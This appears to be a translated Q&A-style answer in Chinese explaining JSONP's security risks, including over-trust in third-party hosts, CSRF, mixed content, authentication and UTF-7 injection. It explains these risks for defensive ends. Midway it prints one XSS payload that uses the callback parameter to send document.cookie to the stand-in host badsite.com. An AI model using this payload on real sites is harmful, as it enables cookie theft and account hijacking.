从安全角度来看，JSONP 有点狡猾：

• 需要过度的信任。 假设您有一个托管在a.com其上的页面，它使用 JSONP 访问由b.org. 这涉及 100% 信任b.org. 如果b.org是恶意的或有漏洞的，它可以破坏嵌入页面和所有a.com来源的安全性。从安全角度来看，这种过度信任是危险的：它会使您的应用程序变得脆弱。

  换句话说：JSONP 基本上是一个自找的 XSS。是的，好吧，我知道这是一个功能，而不是一个错误，但仍然......

• CSRF 漏洞。 您必须记住防御 CSRF 漏洞，而使用 JSONP，这有点棘手。标准建议是确保只有 POST 请求可以触发副作用，并在所有 POST 请求中包含 CSRF 令牌；但是 JSONP 涉及发送 GET 请求以触发副作用，这并不是您见过的最干净的解决方案。所以这意味着提供 JSONP 服务的主机需要记住即使在 GET 请求上也要检查 CSRF 令牌。此外，嵌入页面 ( ) 需要一些棘手的协议才能a.com从 JSONP 服务 ( ) 获取正确的 CSRF 令牌b.org。它变得混乱。

• 导致混合内容警告。假设我们有一个托管在 上的页面，https://a.com并且它访问了一个 JSONP 服务http://b.org。那么这将不可避免地触发一个看起来很吓人的混合内容警告（因为 JSONP 涉及从 加载脚本http://b.org）。

• 用户身份验证变得丑陋。如果b.org想要对用户进行身份验证，那么在使用 JSONP 时会变得很棘手。嵌入页面 ( a.com) 需要先以某种方式让用户有机会提前登录b.org，然后才能访问b.org的 JSONP 服务。两个站点需要协调。

我不知道是否应该建议 Web 开发人员在新的 Web 应用程序中避免使用 JSONP，但是这些方面让 CORS 看起来很诱人。

另请参阅当脚本标签/JSONP 可以跨域时，xmlhttprequest 的同域规则有什么意义？

回调参数可能是一个 XSS 向量

我在 stackoverflow 上找到了一个过滤 JSONP 回调响应的答案。这是必需的，因为回调参数可以被操纵成窃取 CSRF 令牌的 XSS 攻击，如下所示：

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

如果不包含字符集，则可以进行 UTF7 注入

如果标头不是Content-Type: application/javascript; charset=utf-8 ，则可以进行 UTF7 注入。

内容类型选择可能会产生影响

内容类型确实会影响某些共享 Web 主机的基于 HTTP 的压缩。

在某些基于 Content-Type 的浏览器中可以执行的操作之间存在一些功能差异。我将不得不从 StackOverflow 中挖掘链接

回调参数可以是通过 Flash 注入的 CSRF 向量。

见http://quaxio.com/jsonp_handcrafted_flash_files/